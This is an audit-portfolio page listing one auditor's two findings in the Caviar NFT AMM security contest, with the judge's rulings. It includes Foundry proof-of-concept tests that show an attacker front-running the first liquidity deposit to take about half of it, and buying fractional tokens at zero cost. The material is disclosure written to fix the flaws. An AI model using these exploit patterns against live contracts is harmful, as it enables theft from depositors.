Caviar contest - rajatbeladiya's results

A fully on-chain NFT AMM that allows you to trade every NFT in a collection.

General Information

Platform: Code4rena

Start Date: 12/12/2022

Pot Size: $36,500 USDC

Total HM: 8

Participants: 103

Period: 7 days

Judge: berndartmueller

Id: 193

League: ETH

Caviar

Findings Distribution

Researcher Performance

Rank: 52/103

Findings: 2

Award: $52.93

🌟 Selected for report: 0

🚀 Solo Findings: 0

Awards

6.9881 USDC - $6.99

Labels

bug
3 (High Risk)
satisfactory
duplicate-442

External Links

Lines of code

https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L275-L286 https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L294-L304 https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L63-L99 https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L417-L428

Vulnerability details

Impact

initial deposits/liquidity can be lost.

consider this scenario,

  1. pair contract deployed
  2. bob try to deposits 1 ether with his tokenId [0] with nftAdd() function
  3. attacker sees this transaction in the mempool and frontruns this transaction with 1 wei and tokenId [1] ( attacker will get 1e9 lpToken from 1 wei ). lpTokenSupply will be 1e9.
// if there is no liquidity then init return Math.sqrt(baseTokenAmount * fractionalTokenAmount);
  1. attacker let's bob's transaction to be executed ( bob will get 1e9 lpToken same as attacker but with 1 ether ). now, lpTokenSupply is 1e9. so for the lpTokenSupply > 0, calculation will be fractionalTokenShare = 1e18 * 1e9 / 1e18 = 1e9. so bob will get 1e9 lpToken.
if (lpTokenSupply > 0) { // calculate amount of lp tokens as a fraction of existing reserves uint256 baseTokenShare = (baseTokenAmount * lpTokenSupply) / baseTokenReserves(); uint256 fractionalTokenShare = (fractionalTokenAmount * lpTokenSupply) / fractionalTokenReserves(); return Math.min(baseTokenShare, fractionalTokenShare); }
  1. the attacker will call nftRemove and completes sandwich attack with profit of 0.5 ether by investing only 1 wei. here, on remove nft calculation will be baseTokenOutputAmount = ((1e18 + 1) * 1e9) / 2e9 = 500000000000000000;
function removeQuote(uint256 lpTokenAmount) public view returns (uint256, uint256) { uint256 lpTokenSupply = lpToken.totalSupply(); uint256 baseTokenOutputAmount = (baseTokenReserves() * lpTokenAmount) / lpTokenSupply; uint256 fractionalTokenOutputAmount = (fractionalTokenReserves() * lpTokenAmount) / lpTokenSupply; return (baseTokenOutputAmount, fractionalTokenOutputAmount); }
  1. now bob has 1e9 lpToken with liquidity remaining in the protocol with approximate 0.5 ether.

Proof of Concept

uint256[] public attackerTokenIds; uint256[] public bobTokenIds; bytes32[][] public proofs; Caviar caviar; Pair pair; function testSandwichAttack() public { address attacker = vm.addr(1); address bob = vm.addr(2); vm.deal(attacker, 1); // 1 wei vm.deal(bob, 1 ether); uint256 attackerBeforeBalance = address(attacker).balance; bayc.mint(attacker, 0); attackerTokenIds.push(0); bayc.mint(bob, 1); bobTokenIds.push(1); caviar = new Caviar(); pair = caviar.create(address(bayc), address(0), bytes32(0)); vm.prank(attacker); bayc.setApprovalForAll(address(pair), true); vm.prank(attacker); uint256 attackerLpTokenAmount = pair.nftAdd{ value: 1 }(1, attackerTokenIds, 0, proofs); // 1 wei vm.prank(bob); bayc.setApprovalForAll(address(pair), true); vm.prank(bob); uint256 bobLpTokenAmount = pair.nftAdd{value: 1 ether}(1e18, bobTokenIds, 0, proofs); vm.prank(attacker); (uint256 baseTokenOutputAmount, uint256 fractionalTokenOutputAmount) = pair.nftRemove(attackerLpTokenAmount, 0, bobTokenIds); assertEq(baseTokenOutputAmount, 500000000000000000); assertEq(fractionalTokenOutputAmount, 1000000000000000000); uint256 attackerAfterBalance = address(attacker).balance; assertEq(attackerBeforeBalance, 1); assertEq(attackerAfterBalance, 500000000000000000); console.log("baseTokenOutputAmount=======", baseTokenOutputAmount); console.log("fractionalTokenOutputAmount=======", fractionalTokenOutputAmount); console.log("attackerBeforeBalance=======", attackerBeforeBalance); console.log("attackerAfterBalance=======", attackerAfterBalance); }

Tools Used

Manual Review

do not allow a very small amount on initial deposit. specify minimum amount for the initial deposit.

#0 - c4-judge

2022-12-20T14:34:49Z

berndartmueller marked the issue as duplicate of #442

#1 - c4-judge

2023-01-10T09:13:09Z

berndartmueller marked the issue as satisfactory

Findings Information

Awards

45.9386 USDC - $45.94

Labels

bug
2 (Med Risk)
downgraded by judge
satisfactory
duplicate-243

External Links

Lines of code

https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L147-L176 https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L398-L400

Vulnerability details

Impact

Attacker can steal fraction tokens from the protocol

when fractionalTokenReserves is higher than baseTokenReserves, buyQuote() function returns 0 as inputAmount. outputAmount is also a factor that change the result and outputAmount amount is controlled by user. So attacker will call this function with ouputAmount as number which will result inputAmount as 0.

consider the scenario,

  1. bob deposits 3 bayc nft with 3e9 ether using nftAdd() function, in return of 3e18 fractional tokens https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L275-L286 https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L232-L233

  2. attacker will call buy() function with outputAmount as it will not exceeds slippage. eg. 990000000 as outputAmount and 0 as maxInputAmount https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L147 https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L398-L400

Proof of Concept

uint256[] public attackerTokenIds; uint256[] public bobTokenIds; bytes32[][] public proofs; Caviar caviar; Pair pair; function testStealFractions() public { address attacker = vm.addr(1); address bob = vm.addr(2); vm.deal(bob, 1 ether); bayc.mint(bob, 0); bobTokenIds.push(0); bayc.mint(bob, 1); bobTokenIds.push(1); bayc.mint(bob, 2); bobTokenIds.push(2); caviar = new Caviar(); pair = caviar.create(address(bayc), address(0), bytes32(0)); vm.prank(bob); bayc.setApprovalForAll(address(pair), true); vm.prank(bob); pair.nftAdd{value: 3000000000}(3000000000, bobTokenIds, 0, proofs); vm.prank(attacker); uint256 inputAmount = pair.buy(990000000, 0); assertEq(inputAmount, 0); uint256 attackerFractionalBalance = pair.balanceOf(address(attacker)); assertEq(attackerFractionalBalance, 990000000); }

Tools Used

Manual Review

add require inputAmount > 0. review the calculations.

#0 - c4-judge

2022-12-23T13:51:09Z

berndartmueller marked the issue as duplicate of #243

#1 - c4-judge

2022-12-23T13:53:35Z

berndartmueller marked the issue as partial-50

#2 - c4-judge

2023-01-10T09:43:43Z

berndartmueller changed the severity to 2 (Med Risk)

#3 - c4-judge

2023-01-10T09:43:47Z

berndartmueller marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter